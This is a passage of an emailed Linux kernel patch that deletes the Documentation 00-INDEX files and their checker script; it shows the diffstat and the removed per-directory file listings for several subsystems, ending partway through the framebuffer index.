>  Documentation/fmc/00-INDEX              |  38 ---
>  Documentation/gpio/00-INDEX             |   4 -
>  Documentation/ide/00-INDEX              |  14 --
>  Documentation/ioctl/00-INDEX            |  12 -
>  Documentation/isdn/00-INDEX             |  42 ----
>  Documentation/kbuild/00-INDEX           |  14 --
>  Documentation/laptops/00-INDEX          |  16 --
>  Documentation/leds/00-INDEX             |  32 ---
>  Documentation/locking/00-INDEX          |  16 --
>  Documentation/m68k/00-INDEX             |   7 -
>  Documentation/mips/00-INDEX             |   4 -
>  Documentation/mmc/00-INDEX              |  10 -
>  Documentation/netlabel/00-INDEX         |  10 -
>  Documentation/netlabel/cipso_ipv4.txt   |  11 +-
>  Documentation/netlabel/introduction.txt |   2 +-
>  Documentation/networking/00-INDEX       | 234 -----------------
>  Documentation/parisc/00-INDEX           |   6 -
>  Documentation/power/00-INDEX            |  44 ----
>  Documentation/powerpc/00-INDEX          |  34 ---
>  Documentation/s390/00-INDEX             |  28 ---
>  Documentation/scheduler/00-INDEX        |  18 --
>  Documentation/scsi/00-INDEX             | 108 --------
>  Documentation/serial/00-INDEX           |  16 --
>  Documentation/spi/00-INDEX              |  16 --
>  Documentation/sysctl/00-INDEX           |  16 --
>  Documentation/timers/00-INDEX           |  16 --
>  Documentation/virtual/00-INDEX          |  11 -
>  Documentation/virtual/kvm/00-INDEX      |  35 ---
>  Documentation/vm/00-INDEX               |  50 ----
>  Documentation/w1/00-INDEX               |  10 -
>  Documentation/w1/masters/00-INDEX       |  12 -
>  Documentation/w1/slaves/00-INDEX        |  14 --
>  Documentation/x86/00-INDEX              |  20 --
>  Documentation/x86/x86_64/00-INDEX       |  16 --
>  README                                  |   1 -
>  scripts/check_00index.sh                |  67 -----
>  50 files changed, 8 insertions(+), 1896 deletions(-)
>  delete mode 100644 Documentation/00-INDEX
>  delete mode 100644 Documentation/PCI/00-INDEX
>  delete mode 100644 Documentation/RCU/00-INDEX
>  delete mode 100644 Documentation/arm/00-INDEX
>  delete mode 100644 Documentation/block/00-INDEX
>  delete mode 100644 Documentation/blockdev/00-INDEX
>  delete mode 100644 Documentation/cdrom/00-INDEX
>  delete mode 100644 Documentation/cgroup-v1/00-INDEX
>  delete mode 100644 Documentation/devicetree/00-INDEX
>  delete mode 100644 Documentation/fb/00-INDEX
>  delete mode 100644 Documentation/filesystems/00-INDEX
>  delete mode 100644 Documentation/filesystems/nfs/00-INDEX
>  delete mode 100644 Documentation/fmc/00-INDEX
>  delete mode 100644 Documentation/gpio/00-INDEX
>  delete mode 100644 Documentation/ide/00-INDEX
>  delete mode 100644 Documentation/ioctl/00-INDEX
>  delete mode 100644 Documentation/isdn/00-INDEX
>  delete mode 100644 Documentation/kbuild/00-INDEX
>  delete mode 100644 Documentation/laptops/00-INDEX
>  delete mode 100644 Documentation/leds/00-INDEX
>  delete mode 100644 Documentation/locking/00-INDEX
>  delete mode 100644 Documentation/m68k/00-INDEX
>  delete mode 100644 Documentation/mips/00-INDEX
>  delete mode 100644 Documentation/mmc/00-INDEX
>  delete mode 100644 Documentation/netlabel/00-INDEX
>  delete mode 100644 Documentation/networking/00-INDEX
>  delete mode 100644 Documentation/parisc/00-INDEX
>  delete mode 100644 Documentation/power/00-INDEX
>  delete mode 100644 Documentation/powerpc/00-INDEX
>  delete mode 100644 Documentation/s390/00-INDEX
>  delete mode 100644 Documentation/scheduler/00-INDEX
>  delete mode 100644 Documentation/scsi/00-INDEX
>  delete mode 100644 Documentation/serial/00-INDEX
>  delete mode 100644 Documentation/spi/00-INDEX
>  delete mode 100644 Documentation/sysctl/00-INDEX
>  delete mode 100644 Documentation/timers/00-INDEX
>  delete mode 100644 Documentation/virtual/00-INDEX
>  delete mode 100644 Documentation/virtual/kvm/00-INDEX
>  delete mode 100644 Documentation/vm/00-INDEX
>  delete mode 100644 Documentation/w1/00-INDEX
>  delete mode 100644 Documentation/w1/masters/00-INDEX
>  delete mode 100644 Documentation/w1/slaves/00-INDEX
>  delete mode 100644 Documentation/x86/00-INDEX
>  delete mode 100644 Documentation/x86/x86_64/00-INDEX
>  delete mode 100755 scripts/check_00index.sh
> 
> diff --git a/Documentation/00-INDEX b/Documentation/00-INDEX
> deleted file mode 100644
> index 2754fe8..0000000
> --- a/Documentation/00-INDEX
> +++ /dev/null
> @@ -1,428 +0,0 @@
> -
> -This is a brief list of all the files in ./linux/Documentation and what
> -they contain. If you add a documentation file, please list it here in
> -alphabetical order as well, or risk being hunted down like a rabid dog.
> -Please keep the descriptions small enough to fit on one line.
> -							 Thanks -- Paul G.
> -
> -Following translations are available on the WWW:
> -
> -   - Japanese, maintained by the JF Project (jf@listserv.linux.or.jp), at
> -     http://linuxjf.sourceforge.jp/
> -
> -00-INDEX
> -	- this file.
> -ABI/
> -	- info on kernel <-> userspace ABI and relative interface stability.
> -CodingStyle
> -	- nothing here, just a pointer to process/coding-style.rst.
> -DMA-API.txt
> -	- DMA API, pci_ API & extensions for non-consistent memory machines.
> -DMA-API-HOWTO.txt
> -	- Dynamic DMA mapping Guide
> -DMA-ISA-LPC.txt
> -	- How to do DMA with ISA (and LPC) devices.
> -DMA-attributes.txt
> -	- listing of the various possible attributes a DMA region can have
> -EDID/
> -	- directory with info on customizing EDID for broken gfx/displays.
> -IPMI.txt
> -	- info on Linux Intelligent Platform Management Interface (IPMI) Driver.
> -IRQ-affinity.txt
> -	- how to select which CPU(s) handle which interrupt events on SMP.
> -IRQ-domain.txt
> -	- info on interrupt numbering and setting up IRQ domains.
> -IRQ.txt
> -	- description of what an IRQ is.
> -Intel-IOMMU.txt
> -	- basic info on the Intel IOMMU virtualization support.
> -Makefile
> -	- It's not of interest for those who aren't touching the build system.
> -PCI/
> -	- info related to PCI drivers.
> -RCU/
> -	- directory with info on RCU (read-copy update).
> -SAK.txt
> -	- info on Secure Attention Keys.
> -SM501.txt
> -	- Silicon Motion SM501 multimedia companion chip
> -SubmittingPatches
> -	- nothing here, just a pointer to process/coding-style.rst.
> -accounting/
> -	- documentation on accounting and taskstats.
> -acpi/
> -	- info on ACPI-specific hooks in the kernel.
> -admin-guide/
> -	- info related to Linux users and system admins.
> -aoe/
> -	- description of AoE (ATA over Ethernet) along with config examples.
> -arm/
> -	- directory with info about Linux on the ARM architecture.
> -arm64/
> -	- directory with info about Linux on the 64 bit ARM architecture.
> -auxdisplay/
> -	- misc. LCD driver documentation (cfag12864b, ks0108).
> -backlight/
> -	- directory with info on controlling backlights in flat panel displays
> -block/
> -	- info on the Block I/O (BIO) layer.
> -blockdev/
> -	- info on block devices & drivers
> -bt8xxgpio.txt
> -	- info on how to modify a bt8xx video card for GPIO usage.
> -btmrvl.txt
> -	- info on Marvell Bluetooth driver usage.
> -bus-devices/
> -	- directory with info on TI GPMC (General Purpose Memory Controller)
> -bus-virt-phys-mapping.txt
> -	- how to access I/O mapped memory from within device drivers.
> -cdrom/
> -	- directory with information on the CD-ROM drivers that Linux has.
> -cgroup-v1/
> -	- cgroups v1 features, including cpusets and memory controller.
> -cma/
> -	- Continuous Memory Area (CMA) debugfs interface.
> -conf.py
> -	- It's not of interest for those who aren't touching the build system.
> -connector/
> -	- docs on the netlink based userspace<->kernel space communication mod.
> -console/
> -	- documentation on Linux console drivers.
> -core-api/
> -	- documentation on kernel core components.
> -cpu-freq/
> -	- info on CPU frequency and voltage scaling.
> -cpu-hotplug.txt
> -	- document describing CPU hotplug support in the Linux kernel.
> -cpu-load.txt
> -	- document describing how CPU load statistics are collected.
> -cpuidle/
> -	- info on CPU_IDLE, CPU idle state management subsystem.
> -cputopology.txt
> -	- documentation on how CPU topology info is exported via sysfs.
> -crc32.txt
> -	- brief tutorial on CRC computation
> -crypto/
> -	- directory with info on the Crypto API.
> -dcdbas.txt
> -	- information on the Dell Systems Management Base Driver.
> -debugging-modules.txt
> -	- some notes on debugging modules after Linux 2.6.3.
> -debugging-via-ohci1394.txt
> -	- how to use firewire like a hardware debugger memory reader.
> -dell_rbu.txt
> -	- document demonstrating the use of the Dell Remote BIOS Update driver.
> -dev-tools/
> -	- directory with info on development tools for the kernel.
> -device-mapper/
> -	- directory with info on Device Mapper.
> -dmaengine/
> -	- the DMA engine and controller API guides.
> -devicetree/
> -	- directory with info on device tree files used by OF/PowerPC/ARM
> -digsig.txt
> -	-info on the Digital Signature Verification API
> -dma-buf-sharing.txt
> -	- the DMA Buffer Sharing API Guide
> -docutils.conf
> -	- nothing here. Just a configuration file for docutils.
> -dontdiff
> -	- file containing a list of files that should never be diff'ed.
> -driver-api/
> -	- the Linux driver implementer's API guide.
> -driver-model/
> -	- directory with info about Linux driver model.
> -early-userspace/
> -	- info about initramfs, klibc, and userspace early during boot.
> -efi-stub.txt
> -	- How to use the EFI boot stub to bypass GRUB or elilo on EFI systems.
> -eisa.txt
> -	- info on EISA bus support.
> -extcon/
> -	- directory with porting guide for Android kernel switch driver.
> -isa.txt
> -	- info on EISA bus support.
> -fault-injection/
> -	- dir with docs about the fault injection capabilities infrastructure.
> -fb/
> -	- directory with info on the frame buffer graphics abstraction layer.
> -features/
> -	- status of feature implementation on different architectures.
> -filesystems/
> -	- info on the vfs and the various filesystems that Linux supports.
> -firmware_class/
> -	- request_firmware() hotplug interface info.
> -flexible-arrays.txt
> -	- how to make use of flexible sized arrays in linux
> -fmc/
> -	- information about the FMC bus abstraction
> -fpga/
> -	- FPGA Manager Core.
> -futex-requeue-pi.txt
> -	- info on requeueing of tasks from a non-PI futex to a PI futex
> -gcc-plugins.txt
> -	- GCC plugin infrastructure.
> -gpio/
> -	- gpio related documentation
> -gpu/
> -	- directory with information on GPU driver developer's guide.
> -hid/
> -	- directory with information on human interface devices
> -highuid.txt
> -	- notes on the change from 16 bit to 32 bit user/group IDs.
> -hwspinlock.txt
> -	- hardware spinlock provides hardware assistance for synchronization
> -timers/
> -	- info on the timer related topics
> -hw_random.txt
> -	- info on Linux support for random number generator in i8xx chipsets.
> -hwmon/
> -	- directory with docs on various hardware monitoring drivers.
> -i2c/
> -	- directory with info about the I2C bus/protocol (2 wire, kHz speed).
> -x86/i386/
> -	- directory with info about Linux on Intel 32 bit architecture.
> -ia64/
> -	- directory with info about Linux on Intel 64 bit architecture.
> -ide/
> -	- Information regarding the Enhanced IDE drive.
> -iio/
> -	- info on industrial IIO configfs support.
> -index.rst
> -	- main index for the documentation at ReST format.
> -infiniband/
> -	- directory with documents concerning Linux InfiniBand support.
> -input/
> -	- info on Linux input device support.
> -intel_txt.txt
> -	- info on intel Trusted Execution Technology (intel TXT).
> -io-mapping.txt
> -	- description of io_mapping functions in linux/io-mapping.h
> -io_ordering.txt
> -	- info on ordering I/O writes to memory-mapped addresses.
> -ioctl/
> -	- directory with documents describing various IOCTL calls.
> -iostats.txt
> -	- info on I/O statistics Linux kernel provides.
> -irqflags-tracing.txt
> -	- how to use the irq-flags tracing feature.
> -isapnp.txt
> -	- info on Linux ISA Plug & Play support.
> -isdn/
> -	- directory with info on the Linux ISDN support, and supported cards.
> -kbuild/
> -	- directory with info about the kernel build process.
> -kdump/
> -	- directory with mini HowTo on getting the crash dump code to work.
> -doc-guide/
> -	- how to write and format reStructuredText kernel documentation
> -kernel-per-CPU-kthreads.txt
> -	- List of all per-CPU kthreads and how they introduce jitter.
> -kobject.txt
> -	- info of the kobject infrastructure of the Linux kernel.
> -kprobes.txt
> -	- documents the kernel probes debugging feature.
> -kref.txt
> -	- docs on adding reference counters (krefs) to kernel objects.
> -laptops/
> -	- directory with laptop related info and laptop driver documentation.
> -ldm.txt
> -	- a brief description of LDM (Windows Dynamic Disks).
> -leds/
> -	- directory with info about LED handling under Linux.
> -livepatch/
> -	- info on kernel live patching.
> -locking/
> -	- directory with info about kernel locking primitives
> -lockup-watchdogs.txt
> -	- info on soft and hard lockup detectors (aka nmi_watchdog).
> -logo.gif
> -	- full colour GIF image of Linux logo (penguin - Tux).
> -logo.txt
> -	- info on creator of above logo & site to get additional images from.
> -lsm.txt
> -	- Linux Security Modules: General Security Hooks for Linux
> -lzo.txt
> -	- kernel LZO decompressor input formats
> -m68k/
> -	- directory with info about Linux on Motorola 68k architecture.
> -mailbox.txt
> -	- How to write drivers for the common mailbox framework (IPC).
> -md/
> -	- directory with info about Linux Software RAID
> -media/
> -	- info on media drivers: uAPI, kAPI and driver documentation.
> -memory-barriers.txt
> -	- info on Linux kernel memory barriers.
> -memory-devices/
> -	- directory with info on parts like the Texas Instruments EMIF driver
> -memory-hotplug.txt
> -	- Hotpluggable memory support, how to use and current status.
> -men-chameleon-bus.txt
> -	- info on MEN chameleon bus.
> -mic/
> -	- Intel Many Integrated Core (MIC) architecture device driver.
> -mips/
> -	- directory with info about Linux on MIPS architecture.
> -misc-devices/
> -	- directory with info about devices using the misc dev subsystem
> -mmc/
> -	- directory with info about the MMC subsystem
> -mtd/
> -	- directory with info about memory technology devices (flash)
> -namespaces/
> -	- directory with various information about namespaces
> -netlabel/
> -	- directory with information on the NetLabel subsystem.
> -networking/
> -	- directory with info on various aspects of networking with Linux.
> -nfc/
> -	- directory relating info about Near Field Communications support.
> -nios2/
> -	- Linux on the Nios II architecture.
> -nommu-mmap.txt
> -	- documentation about no-mmu memory mapping support.
> -numastat.txt
> -	- info on how to read Numa policy hit/miss statistics in sysfs.
> -ntb.txt
> -	- info on Non-Transparent Bridge (NTB) drivers.
> -nvdimm/
> -	- info on non-volatile devices.
> -nvmem/
> -	- info on non volatile memory framework.
> -output/
> -	- default directory where html/LaTeX/pdf files will be written.
> -padata.txt
> -	- An introduction to the "padata" parallel execution API
> -parisc/
> -	- directory with info on using Linux on PA-RISC architecture.
> -parport-lowlevel.txt
> -	- description and usage of the low level parallel port functions.
> -pcmcia/
> -	- info on the Linux PCMCIA driver.
> -percpu-rw-semaphore.txt
> -	- RCU based read-write semaphore optimized for locking for reading
> -perf/
> -	- info about the APM X-Gene SoC Performance Monitoring Unit (PMU).
> -phy/
> -	- ino on Samsung USB 2.0 PHY adaptation layer.
> -phy.txt
> -	- Description of the generic PHY framework.
> -pi-futex.txt
> -	- documentation on lightweight priority inheritance futexes.
> -pinctrl.txt
> -	- info on pinctrl subsystem and the PINMUX/PINCONF and drivers
> -platform/
> -	- List of supported hardware by compal and Dell laptop.
> -pnp.txt
> -	- Linux Plug and Play documentation.
> -power/
> -	- directory with info on Linux PCI power management.
> -powerpc/
> -	- directory with info on using Linux with the PowerPC.
> -prctl/
> -	- directory with info on the priveledge control subsystem
> -preempt-locking.txt
> -	- info on locking under a preemptive kernel.
> -process/
> -	- how to work with the mainline kernel development process.
> -pps/
> -	- directory with information on the pulse-per-second support
> -pti/
> -	- directory with info on Intel MID PTI.
> -ptp/
> -	- directory with info on support for IEEE 1588 PTP clocks in Linux.
> -pwm.txt
> -	- info on the pulse width modulation driver subsystem
> -rapidio/
> -	- directory with info on RapidIO packet-based fabric interconnect
> -rbtree.txt
> -	- info on what red-black trees are and what they are for.
> -remoteproc.txt
> -	- info on how to handle remote processor (e.g. AMP) offloads/usage.
> -rfkill.txt
> -	- info on the radio frequency kill switch subsystem/support.
> -robust-futex-ABI.txt
> -	- documentation of the robust futex ABI.
> -robust-futexes.txt
> -	- a description of what robust futexes are.
> -rpmsg.txt
> -	- info on the Remote Processor Messaging (rpmsg) Framework
> -rtc.txt
> -	- notes on how to use the Real Time Clock (aka CMOS clock) driver.
> -s390/
> -	- directory with info on using Linux on the IBM S390.
> -scheduler/
> -	- directory with info on the scheduler.
> -scsi/
> -	- directory with info on Linux scsi support.
> -security/
> -	- directory that contains security-related info
> -serial/
> -	- directory with info on the low level serial API.
> -sgi-ioc4.txt
> -	- description of the SGI IOC4 PCI (multi function) device.
> -sh/
> -	- directory with info on porting Linux to a new architecture.
> -smsc_ece1099.txt
> -	-info on the smsc Keyboard Scan Expansion/GPIO Expansion device.
> -sound/
> -	- directory with info on sound card support.
> -spi/
> -	- overview of Linux kernel Serial Peripheral Interface (SPI) support.
> -sphinx/
> -	- no documentation here, just files required by Sphinx toolchain.
> -sphinx-static/
> -	- no documentation here, just files required by Sphinx toolchain.
> -static-keys.txt
> -	- info on how static keys allow debug code in hotpaths via patching
> -svga.txt
> -	- short guide on selecting video modes at boot via VGA BIOS.
> -sync_file.txt
> -	- Sync file API guide.
> -sysctl/
> -	- directory with info on the /proc/sys/* files.
> -target/
> -	- directory with info on generating TCM v4 fabric .ko modules
> -tee.txt
> -	- info on the TEE subsystem and drivers
> -this_cpu_ops.txt
> -	- List rationale behind and the way to use this_cpu operations.
> -thermal/
> -	- directory with information on managing thermal issues (CPU/temp)
> -trace/
> -	- directory with info on tracing technologies within linux
> -translations/
> -	- translations of this document from English to another language
> -unaligned-memory-access.txt
> -	- info on how to avoid arch breaking unaligned memory access in code.
> -unshare.txt
> -	- description of the Linux unshare system call.
> -usb/
> -	- directory with info regarding the Universal Serial Bus.
> -vfio.txt
> -	- info on Virtual Function I/O used in guest/hypervisor instances.
> -video-output.txt
> -	- sysfs class driver interface to enable/disable a video output device.
> -virtual/
> -	- directory with information on the various linux virtualizations.
> -vm/
> -	- directory with info on the Linux vm code.
> -w1/
> -	- directory with documents regarding the 1-wire (w1) subsystem.
> -watchdog/
> -	- how to auto-reboot Linux if it has "fallen and can't get up". ;-)
> -wimax/
> -	- directory with info about Intel Wireless Wimax Connections
> -core-api/workqueue.rst
> -	- information on the Concurrency Managed Workqueue implementation
> -x86/x86_64/
> -	- directory with info on Linux support for AMD x86-64 (Hammer) machines.
> -xillybus.txt
> -	- Overview and basic ui of xillybus driver
> -xtensa/
> -	- directory with documents relating to arch/xtensa port/implementation
> -xz.txt
> -	- how to make use of the XZ data compression within linux kernel
> -zorro.txt
> -	- info on writing drivers for Zorro bus devices found on Amigas.
> diff --git a/Documentation/PCI/00-INDEX b/Documentation/PCI/00-INDEX
> deleted file mode 100644
> index 206b1d5..0000000
> --- a/Documentation/PCI/00-INDEX
> +++ /dev/null
> @@ -1,26 +0,0 @@
> -00-INDEX
> -	- this file
> -acpi-info.txt
> -	- info on how PCI host bridges are represented in ACPI
> -MSI-HOWTO.txt
> -	- the Message Signaled Interrupts (MSI) Driver Guide HOWTO and FAQ.
> -PCIEBUS-HOWTO.txt
> -	- a guide describing the PCI Express Port Bus driver
> -pci-error-recovery.txt
> -	- info on PCI error recovery
> -pci-iov-howto.txt
> -	- the PCI Express I/O Virtualization HOWTO
> -pci.txt
> -	- info on the PCI subsystem for device driver authors
> -pcieaer-howto.txt
> -	- the PCI Express Advanced Error Reporting Driver Guide HOWTO
> -endpoint/pci-endpoint.txt
> -	- guide to add endpoint controller driver and endpoint function driver.
> -endpoint/pci-endpoint-cfs.txt
> -	- guide to use configfs to configure the PCI endpoint function.
> -endpoint/pci-test-function.txt
> -	- specification of *PCI test* function device.
> -endpoint/pci-test-howto.txt
> -	- userguide for PCI endpoint test function.
> -endpoint/function/binding/
> -	- binding documentation for PCI endpoint function
> diff --git a/Documentation/RCU/00-INDEX b/Documentation/RCU/00-INDEX
> deleted file mode 100644
> index f46980c..0000000
> --- a/Documentation/RCU/00-INDEX
> +++ /dev/null
> @@ -1,34 +0,0 @@
> -00-INDEX
> -	- This file
> -arrayRCU.txt
> -	- Using RCU to Protect Read-Mostly Arrays
> -checklist.txt
> -	- Review Checklist for RCU Patches
> -listRCU.txt
> -	- Using RCU to Protect Read-Mostly Linked Lists
> -lockdep.txt
> -	- RCU and lockdep checking
> -lockdep-splat.txt
> -	- RCU Lockdep splats explained.
> -NMI-RCU.txt
> -	- Using RCU to Protect Dynamic NMI Handlers
> -rcu_dereference.txt
> -	- Proper care and feeding of return values from rcu_dereference()
> -rcubarrier.txt
> -	- RCU and Unloadable Modules
> -rculist_nulls.txt
> -	- RCU list primitives for use with SLAB_TYPESAFE_BY_RCU
> -rcuref.txt
> -	- Reference-count design for elements of lists/arrays protected by RCU
> -rcu.txt
> -	- RCU Concepts
> -RTFP.txt
> -	- List of RCU papers (bibliography) going back to 1980.
> -stallwarn.txt
> -	- RCU CPU stall warnings (module parameter rcu_cpu_stall_suppress)
> -torture.txt
> -	- RCU Torture Test Operation (CONFIG_RCU_TORTURE_TEST)
> -UP.txt
> -	- RCU on Uniprocessor Systems
> -whatisRCU.txt
> -	- What is RCU?
> diff --git a/Documentation/RCU/rcu.txt b/Documentation/RCU/rcu.txt
> index 7d4ae11..721b3e4 100644
> --- a/Documentation/RCU/rcu.txt
> +++ b/Documentation/RCU/rcu.txt
> @@ -87,7 +87,3 @@ o	Where can I find more information on RCU?
> 
>  	See the RTFP.txt file in this directory.
>  	Or point your browser at http://www.rdrop.com/users/paulmck/RCU/.
> -
> -o	What are all these files in this directory?
> -
> -	See 00-INDEX for the list.
> diff --git a/Documentation/admin-guide/README.rst b/Documentation/admin-guide/README.rst
> index 15ea785..0797eec 100644
> --- a/Documentation/admin-guide/README.rst
> +++ b/Documentation/admin-guide/README.rst
> @@ -51,8 +51,7 @@ Documentation
> 
>   - There are various README files in the Documentation/ subdirectory:
>     these typically contain kernel-specific installation notes for some
> -   drivers for example. See Documentation/00-INDEX for a list of what
> -   is contained in each file.  Please read the
> +   drivers for example. Please read the
>     :ref:`Documentation/process/changes.rst <changes>` file, as it
>     contains information about the problems, which may result by upgrading
>     your kernel.
> diff --git a/Documentation/arm/00-INDEX b/Documentation/arm/00-INDEX
> deleted file mode 100644
> index b6e69fd..0000000
> --- a/Documentation/arm/00-INDEX
> +++ /dev/null
> @@ -1,50 +0,0 @@
> -00-INDEX
> -	- this file
> -Booting
> -	- requirements for booting
> -CCN.txt
> -	- Cache Coherent Network ring-bus and perf PMU driver.
> -Interrupts
> -	- ARM Interrupt subsystem documentation
> -IXP4xx
> -	- Intel IXP4xx Network processor.
> -Netwinder
> -	- Netwinder specific documentation
> -Porting
> -       - Symbol definitions for porting Linux to a new ARM machine.
> -Setup
> -       - Kernel initialization parameters on ARM Linux
> -README
> -	- General ARM documentation
> -SA1100/
> -	- SA1100 documentation
> -Samsung-S3C24XX/
> -	- S3C24XX ARM Linux Overview
> -SPEAr/
> -	- ST SPEAr platform Linux Overview
> -VFP/
> -	- Release notes for Linux Kernel Vector Floating Point support code
> -cluster-pm-race-avoidance.txt
> -	- Algorithm for CPU and Cluster setup/teardown
> -empeg/
> -	- Ltd's Empeg MP3 Car Audio Player
> -firmware.txt
> -	- Secure firmware registration and calling.
> -kernel_mode_neon.txt
> -	- How to use NEON instructions in kernel mode
> -kernel_user_helpers.txt
> -	- Helper functions in kernel space made available for userspace.
> -mem_alignment
> -	- alignment abort handler documentation
> -memory.txt
> -	- description of the virtual memory layout
> -nwfpe/
> -	- NWFPE floating point emulator documentation
> -swp_emulation
> -	- SWP/SWPB emulation handler/logging description
> -tcm.txt
> -	- ARM Tightly Coupled Memory
> -uefi.txt
> -	- [U]EFI configuration and runtime services documentation
> -vlocks.txt
> -	- Voting locks, low-level mechanism relying on memory system atomic writes.
> diff --git a/Documentation/block/00-INDEX b/Documentation/block/00-INDEX
> deleted file mode 100644
> index 8d55b4b..0000000
> --- a/Documentation/block/00-INDEX
> +++ /dev/null
> @@ -1,34 +0,0 @@
> -00-INDEX
> -	- This file
> -bfq-iosched.txt
> -	- BFQ IO scheduler and its tunables
> -biodoc.txt
> -	- Notes on the Generic Block Layer Rewrite in Linux 2.5
> -biovecs.txt
> -	- Immutable biovecs and biovec iterators
> -capability.txt
> -	- Generic Block Device Capability (/sys/block/<device>/capability)
> -cfq-iosched.txt
> -	- CFQ IO scheduler tunables
> -cmdline-partition.txt
> -	- how to specify block device partitions on kernel command line
> -data-integrity.txt
> -	- Block data integrity
> -deadline-iosched.txt
> -	- Deadline IO scheduler tunables
> -ioprio.txt
> -	- Block io priorities (in CFQ scheduler)
> -pr.txt
> -	- Block layer support for Persistent Reservations
> -null_blk.txt
> -	- Null block for block-layer benchmarking.
> -queue-sysfs.txt
> -	- Queue's sysfs entries
> -request.txt
> -	- The members of struct request (in include/linux/blkdev.h)
> -stat.txt
> -	- Block layer statistics in /sys/block/<device>/stat
> -switching-sched.txt
> -	- Switching I/O schedulers at runtime
> -writeback_cache_control.txt
> -	- Control of volatile write back caches
> diff --git a/Documentation/blockdev/00-INDEX b/Documentation/blockdev/00-INDEX
> deleted file mode 100644
> index c08df56..0000000
> --- a/Documentation/blockdev/00-INDEX
> +++ /dev/null
> @@ -1,18 +0,0 @@
> -00-INDEX
> -	- this file
> -README.DAC960
> -	- info on Mylex DAC960/DAC1100 PCI RAID Controller Driver for Linux.
> -cciss.txt
> -	- info, major/minor #'s for Compaq's SMART Array Controllers.
> -cpqarray.txt
> -	- info on using Compaq's SMART2 Intelligent Disk Array Controllers.
> -floppy.txt
> -	- notes and driver options for the floppy disk driver.
> -mflash.txt
> -	- info on mGine m(g)flash driver for linux.
> -nbd.txt
> -	- info on a TCP implementation of a network block device.
> -paride.txt
> -	- information about the parallel port IDE subsystem.
> -ramdisk.txt
> -	- short guide on how to set up and use the RAM disk.
> diff --git a/Documentation/cdrom/00-INDEX b/Documentation/cdrom/00-INDEX
> deleted file mode 100644
> index 433edf2..0000000
> --- a/Documentation/cdrom/00-INDEX
> +++ /dev/null
> @@ -1,11 +0,0 @@
> -00-INDEX
> -	- this file (info on CD-ROMs and Linux)
> -Makefile
> -	- only used to generate TeX output from the documentation.
> -cdrom-standard.tex
> -	- LaTeX document on standardizing the CD-ROM programming interface.
> -ide-cd
> -	- info on setting up and using ATAPI (aka IDE) CD-ROMs.
> -packet-writing.txt
> -	- Info on the CDRW packet writing module
> -
> diff --git a/Documentation/cgroup-v1/00-INDEX b/Documentation/cgroup-v1/00-INDEX
> deleted file mode 100644
> index 13e0c85..0000000
> --- a/Documentation/cgroup-v1/00-INDEX
> +++ /dev/null
> @@ -1,26 +0,0 @@
> -00-INDEX
> -	- this file
> -blkio-controller.txt
> -	- Description for Block IO Controller, implementation and usage details.
> -cgroups.txt
> -	- Control Groups definition, implementation details, examples and API.
> -cpuacct.txt
> -	- CPU Accounting Controller; account CPU usage for groups of tasks.
> -cpusets.txt
> -	- documents the cpusets feature; assign CPUs and Mem to a set of tasks.
> -admin-guide/devices.rst
> -	- Device Whitelist Controller; description, interface and security.
> -freezer-subsystem.txt
> -	- checkpointing; rationale to not use signals, interface.
> -hugetlb.txt
> -	- HugeTLB Controller implementation and usage details.
> -memcg_test.txt
> -	- Memory Resource Controller; implementation details.
> -memory.txt
> -	- Memory Resource Controller; design, accounting, interface, testing.
> -net_cls.txt
> -	- Network classifier cgroups details and usages.
> -net_prio.txt
> -	- Network priority cgroups details and usages.
> -pids.txt
> -	- Process number cgroups details and usages.
> diff --git a/Documentation/devicetree/00-INDEX b/Documentation/devicetree/00-INDEX
> deleted file mode 100644
> index 8c4102c..0000000
> --- a/Documentation/devicetree/00-INDEX
> +++ /dev/null
> @@ -1,12 +0,0 @@
> -Documentation for device trees, a data structure by which bootloaders pass
> -hardware layout to Linux in a device-independent manner, simplifying hardware
> -probing.  This subsystem is maintained by Grant Likely
> -<grant.likely@secretlab.ca> and has a mailing list at
> -https://lists.ozlabs.org/listinfo/devicetree-discuss
> -
> -00-INDEX
> -	- this file
> -booting-without-of.txt
> -	- Booting Linux without Open Firmware, describes history and format of device trees.
> -usage-model.txt
> -	- How Linux uses DT and what DT aims to solve.
> \ No newline at end of file
> diff --git a/Documentation/fb/00-INDEX b/Documentation/fb/00-INDEX
> deleted file mode 100644
> index fe85e7c..0000000
> --- a/Documentation/fb/00-INDEX
> +++ /dev/null
> @@ -1,75 +0,0 @@
> -Index of files in Documentation/fb.  If you think something about frame
> -buffer devices needs an entry here, needs correction or you've written one
> -please mail me.
> -				    Geert Uytterhoeven <geert@linux-m68k.org>
> -
> -00-INDEX
> -	- this file.
> -api.txt
> -	- The frame buffer API between applications and buffer devices.
> -arkfb.txt
> -	- info on the fbdev driver for ARK Logic chips.
> -aty128fb.txt
> -	- info on the ATI Rage128 frame buffer driver.
> -cirrusfb.txt
> -	- info on the driver for Cirrus Logic chipsets.
> -cmap_xfbdev.txt
> -	- an introduction to fbdev's cmap structures.
> -deferred_io.txt
> -	- an introduction to deferred IO.
> -efifb.txt
> -	- info on the EFI platform driver for Intel based Apple computers.
> -ep93xx-fb.txt
> -	- info on the driver for EP93xx LCD controller.
> -fbcon.txt
> -	- intro to and usage guide for the framebuffer console (fbcon).
> -framebuffer.txt
> -	- introduction to frame buffer devices.
> -gxfb.txt
> -	- info on the framebuffer driver for AMD Geode GX2 based processors.
> -intel810.txt
> -	- documentation for the Intel 810/815 framebuffer driver.
> -intelfb.txt
> -	- docs for Intel 830M/845G/852GM/855GM/865G/915G/945G fb driver.
> -internals.txt
> -	- quick overview of frame buffer device internals.
> -lxfb.txt
> -	- info on the framebuffer driver for AMD Geode LX based processors.
> -matroxfb.txt
> -	- info on the Matrox framebuffer driver for Alpha, Intel and PPC.
> -metronomefb.txt
> -	- info on the driver for the Metronome display controller.
> -modedb.txt
> -	- info on the video mode database.
> -pvr2fb.txt
> -	- info on the PowerVR 2 frame buffer driver.
> -pxafb.txt
> -	- info on the driver for the PXA25x LCD controller.
> -s3fb.txt
> -	- info on the fbdev driver for S3 Trio/Virge chips.
> -sa1100fb.txt
> -	- information about the driver for the SA-1100 LCD controller.
> -sh7760fb.txt
> -	- info on the SH7760/SH7763 integrated LCDC Framebuffer driver.
> -sisfb.txt
> -	- info on the framebuffer device driver for various SiS chips.
> -sm501.txt
> -	- info on the framebuffer device driver for sm501 videoframebuffer.
> -sstfb.txt
> -	- info on the frame buffer driver for 3dfx' Voodoo Graphics boards.
> -tgafb.txt
> -	- info on the TGA (DECChip 21030) frame buffer driver.
> -tridentfb.txt
> -	info on the framebuffer driver for some Trident chip based cards.
> -udlfb.txt
> -	- Driver for DisplayLink USB 2.0 chips.
> -uvesafb.txt
